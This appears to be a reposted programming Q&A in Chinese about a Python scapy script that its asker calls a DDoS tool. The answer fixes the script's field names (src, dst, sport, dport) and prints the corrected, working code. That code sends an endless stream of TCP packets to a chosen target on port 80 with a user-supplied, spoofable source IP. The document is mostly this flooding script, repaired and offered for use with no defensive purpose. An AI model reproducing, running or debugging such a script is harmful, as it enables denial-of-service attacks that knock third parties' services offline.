[英]Why am I getting an AttributeError when in initiating `scapy.all.IP` with `source_IP` argument?
我找到了一個用 python 編寫的 DDoS 腳本。 這是腳本:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
但是當我運行它時,我得到了這個錯誤:
Traceback (most recent call last):
File "/home/kai/DDOS-X/main.py", line 8, in <module>
IP1 = IP(source_IP = source_IP, destination = target_IP)
File "/home/kai/.local/lib/python3.9/site-packages/scapy/base_classes.py", line 389, in __call__
i.__init__(*args, **kargs)
File "/home/kai/.local/lib/python3.9/site-packages/scapy/packet.py", line 180, in __init__
raise AttributeError(fname)
AttributeError: source_IP
發生錯誤,因為IP
class 不采用source_IP
參數。
Packet.__init__
的源代碼( IP
繼承了它的__init__
)
這是引發AttributeError
的行: https://github.com/secdev/scapy/blob/36448129bf99e52b0b2117edd1210eecac1dae36/scapy/packet.py#L180
這個答案只是@ruohola 答案的擴展,他在較新版本的 scapy 中是正確的,屬性名稱已更改,因此在您的代碼中
source_IP
更改為src
destination
更改為dst
srcport
更改為sport
dstport
更改為dport
你的最終代碼
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(src = source_IP, dst = target_IP)
TCP1 = TCP(dport = 80, sport=source_port)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
我的 scapy 版本如下
scapy==2.4.5
您可以通過在 shell 中鍵入以下內容來檢查您的:
pip freeze | grep "scapy"
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.